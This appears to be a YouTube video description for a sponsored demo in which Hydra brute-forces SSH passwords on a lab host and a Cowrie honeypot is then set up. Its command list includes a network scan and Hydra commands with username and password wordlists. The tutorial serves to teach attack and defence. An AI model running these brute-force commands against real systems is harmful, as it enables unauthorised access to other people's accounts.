#501: Brute Force SSH & Build a Honeypot Now (Hydra and Cowrie Demo)

Jul 2, 2025

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Big thank you to Cisco for sponsoring this video and sponsoring my trip to Cisco Live San Diego. This video features David Bombal and Kyle Winters demonstrating practical cybersecurity techniques. Kyle walks through how to use Hydra to brute force SSH passwords, explaining the process of leveraging wordlists and optimizing the attack. Following the offensive demonstration, Kyle transitions into defensive measures, showing viewers how to quickly and easily set up an SSH honeypot using Cowrie. The honeypot serves as a decoy to attract and monitor malicious actors attempting to access a network. The demonstration includes setting up the honeypot on an Ubuntu host, configuring IP tables for port redirection, and monitoring logs for incoming connection attempts. The video highlights the importance of understanding both attack methods and defensive strategies in cybersecurity. Kyle also mentions free ethical hacking training resources available through Cisco Networking Academy (netacad.com) and future tutorials on Cisco U (u.cisco.com). // COMMANDS // Devices: client 192.168.1.10 server 192.168.1.11 ubuntu-honeypot 192.168.1.21 Nmap scan: nmap -sn 192.168.1.0/24 Verify Hydra installed: hydra -h Show wordlists: ls -al /usr/share/wordlists/ Crack with known username: hydra -l admin -P /usr/share/wordlists/top-passwords-shortlist.txt -t 4 -f ssh://192.168.1.11 Crack with unknown username: hydra -L /usr/share/wordlists/top-usernames-shortlist.txt -P /usr/share/wordlists/top-passwords-shortlist.txt -t 4 -f ssh://192.168.1.11 Create dir for Cowrie: mkdir cowrie cd cowrie/ Clone cowrie: git clone https://github.com/cowrie/cowrie . Launch the python virtual environment: python3 -m venv cowrie-env source cowrie-env/bin/activate Install python requirements: pip install --upgrade pip pip install -r requirements.txt Copy and edit the config: cp etc/cowrie.cfg.dist etc/cowrie.cfg vi etc/cowrie.cfg Setup port forwarding for SSH to Cowrie: sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222 sudo iptables-save Start Cowrie: bin/cowrie start Check Cowrie status: bin/cowrie status View logs: tail -f var/log/cowrie/cowrie.log // Kyle Winter’s SOCIALS // Socials: / kyle-m-winters Cisco Blogs: https://blogs.cisco.com/author/kylewi... // Website REFERENCE // https://www.netacad.com/courses/ethic... https://u.cisco.com/ // David's SOCIAL // Discord: discord.com/invite/usKSyzb Twitter: www.twitter.com/davidbombal Instagram: www.instagram.com/davidbombal LinkedIn: www.linkedin.com/in/davidbombal Facebook: www.facebook.com/davidbombal.co TikTok: tiktok.com/@davidbombal YouTube: / @davidbombal Spotify: open.spotify.com/show/3f6k6gE... SoundCloud: / davidbombal Apple Podcast: podcasts.apple.com/us/podcast... // MY STUFF // https://www.amazon.com/shop/davidbombal // SPONSORS // Interested in sponsoring my videos? Reach out to my team here: sponsors@davidbombal.com Please note that links listed may be affiliate links and provide me with a small percentage/kickback should you use them to purchase any of the items listed or recommended. Thank you for supporting me and this channel! Disclaimer: This video is for educational purposes only.